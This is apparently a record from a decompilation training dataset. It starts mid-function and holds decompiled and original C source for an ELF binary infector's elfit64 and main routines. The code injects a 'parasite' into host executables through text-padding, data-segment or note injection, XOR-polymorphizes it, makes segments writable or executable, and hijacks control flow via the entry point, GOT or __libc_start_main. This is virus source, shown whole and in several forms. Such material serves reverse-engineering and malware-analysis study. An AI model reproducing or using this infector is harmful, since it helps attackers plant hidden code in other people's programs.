v2 = libc_start_main_hijack_64(v9, *(unsigned int *)(a1 + 324), &v6);
break;
default:
puts("[-] no redirection method chosen");
puts("continuing infection process");
v2 = -1LL;
break;
}
}
printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", v6);
if ( (unsigned int)patch_parasite64(v7, v3, v6) )
puts("out-of-bounds patch position supplied");
v4 = *(_BYTE *)(a1 + 200);
if ( v4 )
{
printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", (unsigned int)v4);
parasite_polymorphize64(v7, (unsigned int)*(char *)(a1 + 200));
}
switch ( *(_DWORD *)(a1 + 328) )
{
case 1:
puts("[+ INJECTING PARASITE TO TEXT]");
v1 = textpadding_inject_64(v9, v7, v3, *(_QWORD *)(a1 + 208));
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism");
make_text_writeable64(v9);
}
break;
case 2:
puts("[+ INJECTING PARASITE TO TEXT BOTTOM]");
v1 = (int)reverse_inject_64(v9, v7);
printf("[+ INJECTED AT %08x]\n", v1);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
make_text_writeable64(v9);
break;
case 3:
puts("[+ INJECTION PARASITE INTO DATA SEGMENT]");
v1 = (int)data_inject_64(v9, v7);
reload_host(a1, v9);
make_data_executable64(v9);
break;
case 4:
puts("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]");
puts("chosen injection method not yet implemented");
exit(1);
case 5:
puts("[+ INJECTING RELOCATABLE]");
puts("chosen injection method not yet implemented");
exit(1);
case 6:
puts("[+ INJECTING NOTE]");
v1 = (int)note_inject_64(v9, v7);
reload_host(a1, v9);
if ( *(_BYTE *)(a1 + 200) )
{
puts("Polymorphic parasite not impolemented for note injection");
exit(1);
}
return result;
default:
puts("[-] no injection technique chosen");
break;
}
printf("[+] Parasite at 0x%lx-0x%lx\n", v1, *(_QWORD *)(v8 + 48) + v1);
reload_host(a1, v9);
if ( *(_DWORD *)(a1 + 220) == 2 )
v2 = got_redirect_64(v9, a1 + 224, &v6);
if ( *(_DWORD *)(a1 + 220) == 6 )
v2 = libc_start_main_hijack_64(v9, *(unsigned int *)(a1 + 324), &v6);
if ( v2 != -1 )
{
puts("[+ APPLYING REDIRECTION]");
commit_redirect_64(v9, v2, v1);
}
unload_host(v9);
return 1LL;
}

original_code:
int elfit64(opts_t *opts)
{
    Elfit_t host;
    Elfit_t parasite;
    uint64_t malpoint;
    uint64_t patch_pos;
    uint64_t patch_addr;
    off_t patch_off;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    if (opts->parasite)
        load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_64(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (opts->parasite)
        if (patch_parasite64(&parasite, patch_pos, patch_addr))
        {
            printf("out-of-bounds patch position supplied\n");
        }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize64(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_64(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable64(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_64(&host, &parasite);
            printf("[+ INJECTED AT %08x]\n", malpoint);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable64(&host);
            break;
        case 3:
            printf("[+ INJECTION PARASITE INTO DATA SEGMENT]\n");
            malpoint = data_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            make_data_executable64(&host);
            break;
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
        default:
            printf("[-] no injection technique chosen\n");
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_64(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

canonical_original_code:
int elfit64(struct opts_t *opts)
{
    struct Elfit_t host;
    struct Elfit_t parasite;
    unsigned long malpoint;
    unsigned long patch_pos;
    unsigned long patch_addr;
    long patch_off;
    if (!opts->host)
    {
        return -1;
    }
    patch_pos = opts->patch_pos;
    load_host(opts->host, &host);
    if (opts->parasite)
        load_host(opts->parasite, &parasite);
    patch_addr = opts->patch_addr;
    if (!patch_addr)
    {
        switch(opts->redirection_method)
        {
            case 1:
                printf("[+ ENTRYPOINT REDIR]\n");
                patch_off = entry_redirect_64(&host, &patch_addr);
                break;
            case 2:
                printf("[+ GOT REDIR]\n");
                patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
                break;
            case 3:
                printf("[+ CTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 4:
                printf("[+ DTORS REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 5:
                printf("[+ ARBFUNC REDIR]\n");
                printf("unimplemented redirection method chosen\n");
                exit(1);
            case 6:
                printf("[+ LIBC_START_MAIN REDIR]\n");
                patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
                break;
            default:
                printf("[-] no redirection method chosen\n");
                printf("continuing infection process\n");
                patch_off = -1;
         }
    }
    printf("[+ PATCHING PARASITE]\t\tto jump to %08x\n", patch_addr);
    if (opts->parasite)
        if (patch_parasite64(&parasite, patch_pos, patch_addr))
        {
            printf("out-of-bounds patch position supplied\n");
        }
    if (opts->polymorphic_key)
    {
        printf("[+ POLYMORPHIZING PARASITE]\twith xor key 0x%0x\n", opts->polymorphic_key);
        parasite_polymorphize64(&parasite, opts->polymorphic_key);
    }
    switch(opts->injection_method)
    {
        case 1:
            printf("[+ INJECTING PARASITE TO TEXT]\n");
            malpoint = textpadding_inject_64(&host, &parasite,
                patch_pos, opts->patch_addr);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("[+ TEXT_SEGMENT MOD]\t\tmaking text segment writable for polymorphism\n");
                make_text_writeable64(&host);
            }
            break;
        case 2:
            printf("[+ INJECTING PARASITE TO TEXT BOTTOM]\n");
            malpoint = reverse_inject_64(&host, &parasite);
            printf("[+ INJECTED AT %08x]\n", malpoint);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
                make_text_writeable64(&host);
            break;
        case 3:
            printf("[+ INJECTION PARASITE INTO DATA SEGMENT]\n");
            malpoint = data_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            make_data_executable64(&host);
            break;
        case 4:
            printf("[+ CREATING DEPENDENCY TO MALICIOUS LIBRARY]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 5:
            printf("[+ INJECTING RELOCATABLE]\n");
            printf("chosen injection method not yet implemented\n");
            exit(1);
        case 6:
            printf("[+ INJECTING NOTE]\n");
            malpoint = note_inject_64(&host, &parasite);
            reload_host(opts->host, &host);
            if(opts->polymorphic_key)
            {
                printf("Polymorphic parasite not impolemented for note injection\n");
                exit(1);
            }
            break;
        default:
            printf("[-] no injection technique chosen\n");
    }
    printf("[+] Parasite at 0x%lx-0x%lx\n", malpoint, malpoint + parasite.file->st_size);
    reload_host(opts->host, &host);
    if (opts->redirection_method == 2)
        patch_off = got_redirect_64(&host, opts->pltsymbol, &patch_addr);
    if (opts->redirection_method == 6)
        patch_off = libc_start_main_hijack_64(&host, opts->startmain_mode, &patch_addr);
    if (patch_off != -1) {
      printf("[+ APPLYING REDIRECTION]\n");
      commit_redirect_64(&host, patch_off, malpoint);
    }
    unload_host(&host);
    return 1;
}

variable_types:
malpoint
unsigned long

user_defined_types: struct opts_t { char host[100]; char parasite[100]; char polymorphic_key; unsigned long patch_addr; unsigned int patch_pos; unsigned int redirection_method; char pltsymbol[100]; unsigned int startmain_mode; unsigned int injection_method; unsigned int cross_infect; }

user_defined_types: struct timespec { long tv_sec; long tv_nsec; }


main

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rax
__int64 v4; // rbx
unsigned int v5; // eax

v3 = (const char *)usage(argc, argv, envp);
if ( !v3 )
exit(-1);
v4 = (__int64)v3;
v5 = get_elf_class(v3);
if ( v5 == 1 )
return elfit32(v4);
if ( v5 == 2 )
return elfit64(v4);
printf("Unkown elf class: %d\n", v5);
return -1;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rax
__int64 v4; // rbx
unsigned int v5; // eax

v3 = (const char *)usage(argc, argv, envp);
if ( !v3 )
exit(-1);
v4 = (__int64)v3;
v5 = func2(v3);
if ( v5 == 1 )
return func0(v4);
if ( v5 == 2 )
return func1(v4);
printf("Unkown elf class: %d\n", v5);
return -1;
}

original_code:
int main(int argc, char *argv[])
{
    opts_t *opts;
    if ((opts = usage(argc, argv)) == ((void *)0))
    {
        exit(-1);
    }
    int elf_class = get_elf_class(opts->host);
    if (elf_class == 1)
    {
        return elfit32(opts);
    }
    else if (elf_class == 2)
    {
        return elfit64(opts);
    }
    else
    {
        printf("Unkown elf class: %d\n", elf_class);
        return -1;
    }
}

canonical_original_code:
int main(int argc, char *argv[])
{
    struct opts_t *opts;
    if ((opts = usage(argc, argv)) == ((void *)0))
    {
        exit(-1);
    }
    int elf_class = get_elf_class(opts->host);
    if (elf_class == 1)
    {
        return elfit32(opts);
    }
    else if (elf_class == 2)
    {
        return elfit64(opts);
    }
    else
    {
        printf("Unkown elf class: %d\n", elf_class);
        return -1;
    }
}

variable_types: argc int

variable_types:
argv
char *[]